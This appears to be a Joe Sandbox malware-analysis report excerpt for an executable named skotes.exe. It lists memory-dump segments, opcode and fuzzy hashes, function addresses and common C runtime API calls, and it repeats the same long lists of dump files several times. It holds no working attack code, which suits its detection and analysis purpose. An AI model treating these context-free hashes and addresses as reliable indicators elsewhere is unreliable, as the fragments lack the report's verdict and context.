Associated: 00000000.00000002.2161718517.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161747097.00000000011A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161767471.00000000011AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161786836.00000000011AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161806756.00000000011AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161827957.00000000011BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161846851.00000000011BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161865361.00000000011BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161882699.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161903179.00000000011CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161921001.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161941344.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161958553.00000000011D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161983324.00000000011E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.00000000011E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.0000000001219000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162068904.0000000001233000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162087842.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162109453.000000000124A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162130377.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162146506.000000000124C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162165584.0000000001250000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162181230.0000000001252000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162209186.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162225199.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: f9e8144d7ee33b4e1eae3c5ab1ecc7a1c4854de3cdbc4314920c99573caa194a
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: FD115B77A0118287E604A62DC8B46F7A395EBC53B17EC437AC0418B788DB22E843BB00

Function 00F7A302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.2160481470.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160499744.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160582688.0000000000FA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160602010.0000000000FAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160620833.0000000000FB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160637404.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160656189.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160846468.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160868655.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160901644.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160921646.000000000112C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.000000000112E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160989653.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161052164.000000000113F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161288601.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161522313.0000000001151000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161550389.0000000001166000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161576796.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161658216.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161679655.0000000001192000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161698846.000000000119A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161718517.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161747097.00000000011A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161767471.00000000011AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161786836.00000000011AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161806756.00000000011AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161827957.00000000011BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161846851.00000000011BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161865361.00000000011BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161882699.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161903179.00000000011CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161921001.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161941344.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161958553.00000000011D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161983324.00000000011E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.00000000011E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.0000000001219000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162068904.0000000001233000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162087842.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162109453.000000000124A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162130377.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162146506.000000000124C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162165584.0000000001250000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162181230.0000000001252000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162209186.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162225199.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: e6e4507f7e5570b0652aa6448198d37c245a5dda868b73f3c4be3c151a4d8ebd
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: B6E08C32921228EBCB15EF98C90498EF3ECEB89B10B668097F505D3191C274DE00D7D2

Function 00F42EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00F42F5F
__Mtx_unlock.LIBCPMT ref: 00F42FCC
__Cnd_broadcast.LIBCPMT ref: 00F42FE3
__Mtx_unlock.LIBCPMT ref: 00F430F5
__Mtx_unlock.LIBCPMT ref: 00F4319B

Memory Dump Source

Source File: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.2160481470.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160499744.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160582688.0000000000FA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160602010.0000000000FAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160620833.0000000000FB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160637404.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160656189.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160846468.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160868655.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160901644.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160921646.000000000112C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.000000000112E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160989653.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161052164.000000000113F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161288601.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161522313.0000000001151000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161550389.0000000001166000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161576796.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161658216.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161679655.0000000001192000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161698846.000000000119A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161718517.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161747097.00000000011A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161767471.00000000011AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161786836.00000000011AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161806756.00000000011AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161827957.00000000011BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161846851.00000000011BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161865361.00000000011BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161882699.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161903179.00000000011CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161921001.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161941344.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161958553.00000000011D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161983324.00000000011E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.00000000011E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.0000000001219000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162068904.0000000001233000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162087842.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162109453.000000000124A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162130377.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162146506.000000000124C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162165584.0000000001250000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162181230.0000000001252000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162209186.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162225199.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 9fe2a624ef82b81ae5fa73a806eaa47c4781b9bb0af79102e158f92e85abeeb9
Instruction ID: f3d453ad06bab6a4514c175cc2ed7dbceb8b368c844a9fea7ff29ef72a307268
Opcode Fuzzy Hash: 9fe2a624ef82b81ae5fa73a806eaa47c4781b9bb0af79102e158f92e85abeeb9
Instruction Fuzzy Hash: 92A1C0B1E013059FDB20DB68CC4575ABBA8FF15325F148229ED16D7281EB35EA08EBD1

Function 00F7CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00F7CC66

Memory Dump Source

Source File: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.2160481470.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160499744.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160582688.0000000000FA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160602010.0000000000FAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160620833.0000000000FB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160637404.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160656189.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160846468.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160868655.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160901644.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160921646.000000000112C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.000000000112E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160989653.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161052164.000000000113F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161288601.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161522313.0000000001151000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161550389.0000000001166000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161576796.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161658216.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161679655.0000000001192000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161698846.000000000119A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161718517.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161747097.00000000011A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161767471.00000000011AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161786836.00000000011AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161806756.00000000011AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161827957.00000000011BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161846851.00000000011BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161865361.00000000011BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161882699.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161903179.00000000011CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161921001.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161941344.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161958553.00000000011D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161983324.00000000011E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.00000000011E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.0000000001219000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162068904.0000000001233000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162087842.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162109453.000000000124A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162130377.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162146506.000000000124C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162165584.0000000001250000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162181230.0000000001252000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162209186.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162225199.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction ID: 1078d66fc64a2230924d9ec22260c70e19866084ee61491fa719115aa32a63a1
Opcode Fuzzy Hash: 50646cb43b7217affa873159b33a8ceb5ad87b323bf0650c56aca3f8e12e7eb4
Instruction Fuzzy Hash: 9BB12632D046859FDB21CF28C8817AEBBE5EF45350F14C16FE859EB242D6349D02DBA2

Function 00F5BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00F5BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00F5BBE4
_xtime_get.LIBCPMT ref: 00F5BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00F5BC13

Memory Dump Source

Source File: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.2160481470.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160499744.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160582688.0000000000FA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160602010.0000000000FAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160620833.0000000000FB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160637404.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160656189.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160846468.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160868655.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160901644.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160921646.000000000112C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.000000000112E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160989653.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161052164.000000000113F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161288601.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161522313.0000000001151000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161550389.0000000001166000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161576796.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161658216.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161679655.0000000001192000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161698846.000000000119A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161718517.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161747097.00000000011A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161767471.00000000011AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161786836.00000000011AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161806756.00000000011AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161827957.00000000011BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161846851.00000000011BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161865361.00000000011BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161882699.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161903179.00000000011CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161921001.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161941344.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161958553.00000000011D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161983324.00000000011E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.00000000011E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.0000000001219000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162068904.0000000001233000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162087842.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162109453.000000000124A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162130377.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162146506.000000000124C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162165584.0000000001250000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162181230.0000000001252000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162209186.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162225199.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 6fec22708685dfd0ab50ccbf8cf0361d57dfd1e632e3e299a5c1aa773b150514
Instruction ID: 8936b254c9f4e6e6a34b35a74c1c103953180e2bad45fe1738d6a1cd9dd0fb3c
Opcode Fuzzy Hash: 6fec22708685dfd0ab50ccbf8cf0361d57dfd1e632e3e299a5c1aa773b150514
Instruction Fuzzy Hash: 04213D71A00219AFDF00EBA4CC859BEBBB9EF08711F100055FA06B7251DB749D05ABA0

Analysis Process: skotes.exePID: 6392, Parent PID: 1048COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1896
Total number of Limit Nodes:	15

Executed Functions

Function 00C0652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00C0652A,?,?,?,?,?,00C07661), ref: 00C06567

Memory Dump Source

Source File: 00000002.00000002.2183253576.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000002.00000002.2183241564.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183253576.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183298522.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183323287.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183337101.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183349265.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183362592.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183448160.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183462698.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183480656.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183493828.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183532091.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183543836.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183557679.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183570847.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183588010.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183601098.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183613091.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183637557.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183655100.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183666981.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183679723.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183691415.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183704714.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183718528.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183731288.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183743704.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183757632.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
